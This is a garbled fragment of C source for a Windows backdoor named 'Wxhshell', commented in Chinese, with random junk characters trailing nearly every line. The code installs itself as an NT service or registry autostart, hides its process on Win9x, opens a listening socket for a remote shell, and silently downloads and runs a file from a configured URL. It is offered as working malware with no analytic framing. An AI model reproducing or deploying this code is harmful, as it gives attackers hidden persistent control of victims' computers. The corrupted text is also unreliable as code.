ULONG UniqueProcessId; a^xt9o`
ULONG InheritedFromUniqueProcessId; y~Ts9AE
} PROCESS_BASIC_INFORMATION; "R5! VV
>K@Y8J+e#
PROCNTQSIP NtQueryInformationProcess; ">|G^@|:A
1.S?(1e"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E/:mO~1< c
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M!D&a)\
U-6pia/o
HANDLE hProcess; xro%AM
PROCESS_BASIC_INFORMATION pbi; }1}L&M@
W3E7y?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h|Ah\P?o
if(NULL == hInst ) return 0; D9
\!9 7
!$Whftg
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~e; 2gm
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7E]qP
5
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Qw5_V^0o
vLT$oiN[c
if (!NtQueryInformationProcess) return 0; kwAL]kI
QMQ\y8E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r
Y#^C
if(!hProcess) return 0; ygo4.
C>=[fAr mO
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ??
2x* l1
3I.0jA#T&/
CloseHandle(hProcess); AbA_s I<;
!V~,aoKTj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g)`;m%DG6
if(hProcess==NULL) return 0; 69iY)Ob/
cME|Lg(J$
HMODULE hMod; {?YBJnG}x
char procName[255]; u_ *DS-
unsigned long cbNeeded; (O-.^VV
$TZjSZ1w
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [yn\O=%5
\NF5)]:
CloseHandle(hProcess); b
sM]5^
m#Dae\w&
if(strstr(procName,"services")) return 1; // 以服务启动 /BQB7vL
A8T75?lL(
return 0; // 注册表启动 MY w3+B+Jj
} 2AdO
duq(K9S
// 主模块 |)[I$]L
int StartWxhshell(LPSTR lpCmdLine) S(ky:
{ YW7Pimks
SOCKET wsl; I ]HP
BOOL val=TRUE; */)O8`}2
int port=0; );!IGcgF
struct sockaddr_in door; <.knM
A V]7l}-
if(wscfg.ws_autoins) Install(); ; nc3O{rU
nAT,y9&
port=atoi(lpCmdLine); Q^ }Ib[
6^VPRp
if(port<=0) port=wscfg.ws_port; L )53o!
#<o=W#[
WSADATA data; X4dxH_@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^hRx{A
ojG;[@V
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p6AF16*f0
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i}=n6
door.sin_family = AF_INET; von<I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); i1JVvNMQ,
door.sin_port = htons(port); 0?Bv
zfb
>)*0lfxTZ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]WvV*FL9D3
closesocket(wsl); <X"_S'O
return 1; 4d63+iM+}
} ]9lR:V
sw
H#:Aby-d}
if(listen(wsl,2) == INVALID_SOCKET) { w<SFs#Z
closesocket(wsl); JuD&121N*
return 1; :v B9z
} |7)oX
Wxhshell(wsl); ;km ^ OO$
WSACleanup(); q(\kCUy!
mkuK$Mj
return 0; N!%[.3o\K
n`.JI(|
} e5$S2o~JF
wO&+Bb\=
// 以NT服务方式启动 "L&84^lmf
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )s|o&aP>
{ V {C{y5
DWORD status = 0; g@|2z
DWORD specificError = 0xfffffff; xU;/LJ6
(Tv~$\=
serviceStatus.dwServiceType = SERVICE_WIN32; @bF4'M
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
ni?5h5-
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bc]SY =
serviceStatus.dwWin32ExitCode = 0; `Rx\wfr}
serviceStatus.dwServiceSpecificExitCode = 0; /2>.*H_2
serviceStatus.dwCheckPoint = 0; C$4!|Wg3
serviceStatus.dwWaitHint = 0; ]XjL""EbC
E RjMe'q4
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZtGtJV"H
if (hServiceStatusHandle==0) return; |a!]Iqz"N
a`6R}|ZB
status = GetLastError(); S+bpWA
if (status!=NO_ERROR) (>C$8)v
{ wY=k$
serviceStatus.dwCurrentState = SERVICE_STOPPED; m[qW)N:w
serviceStatus.dwCheckPoint = 0; 5S
4Bz
serviceStatus.dwWaitHint = 0; I~Q
G
serviceStatus.dwWin32ExitCode = status; w5`EJp8MC
serviceStatus.dwServiceSpecificExitCode = specificError; "sYZ3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ihd^P]
return; j:7AVnt
} tt A'RJ
tE<'*o'
serviceStatus.dwCurrentState = SERVICE_RUNNING; b6! 7j
serviceStatus.dwCheckPoint = 0; +-NH
4vUg
serviceStatus.dwWaitHint = 0; &3 *#h
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AP+%T
} ]OV}yD2p
,</Kn~b
// 处理NT服务事件,比如:启动、停止 kD}vK+
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;)q"X>FMZe
{ [ d`m)MW-
switch(fdwControl) Mc{-2
{ nh+Hwj#(x
case SERVICE_CONTROL_STOP: *tfD^nctO
serviceStatus.dwWin32ExitCode = 0; V1yP{XT=
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0ax;Q[z2
serviceStatus.dwCheckPoint = 0; Jwpc8MQ
serviceStatus.dwWaitHint = 0; [l}H%S
{ RZ|M;c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !8&EkXTw,
} 3_"tds <L
return; \_x~lRqJJ
case SERVICE_CONTROL_PAUSE: &WZ&Tt/)/
serviceStatus.dwCurrentState = SERVICE_PAUSED; z9E*1B+
break; i,wZNX
case SERVICE_CONTROL_CONTINUE: ?JBA`,-
serviceStatus.dwCurrentState = SERVICE_RUNNING; x@3cZd0j#
break; [\rzXE
case SERVICE_CONTROL_INTERROGATE: [eFJ+|U9
break; Va A.J
}; 2I283%xr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lngf,Of.e
} b[J0+l\!"
5_1\{lP
// 标准应用程序主函数 )iid9K<HB
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3taGb>15
{ ^^F 8M0k3
*c
9S.
// 获取操作系统版本 z[@i=avPG
OsIsNt=GetOsVer(); [^D>xD3B2
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q\>mg*79
n6G&c4g<"
// 从命令行安装 R{ udV
if(strpbrk(lpCmdLine,"iI")) Install(); 1OV] W
f
5H1N]v+
// 下载执行文件 j{D tjV8
if(wscfg.ws_downexe) { )+ 'r-AF*
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a l9(
9)
WinExec(wscfg.ws_filenam,SW_HIDE); T2_iH=u
} Kv)}
":q+"*fy
if(!OsIsNt) { ,.h@tN<C
// 如果时win9x,隐藏进程并且设置为注册表启动 K-@\";whF
HideProc(); }9glr]=
StartWxhshell(lpCmdLine); K]uH7-YvL/
} 4LW~
else b I`JG:^b
if(StartFromService()) wqT9m*VK
// 以服务方式启动 |3 Iug
StartServiceCtrlDispatcher(DispatchTable); pe<T"[X
else G"tlJ7$myQ
// 普通方式启动 >; tE.CJH
StartWxhshell(lpCmdLine); o
0T1pGs'
5W$Jxuyqj
return 0; Ke=+D'=
}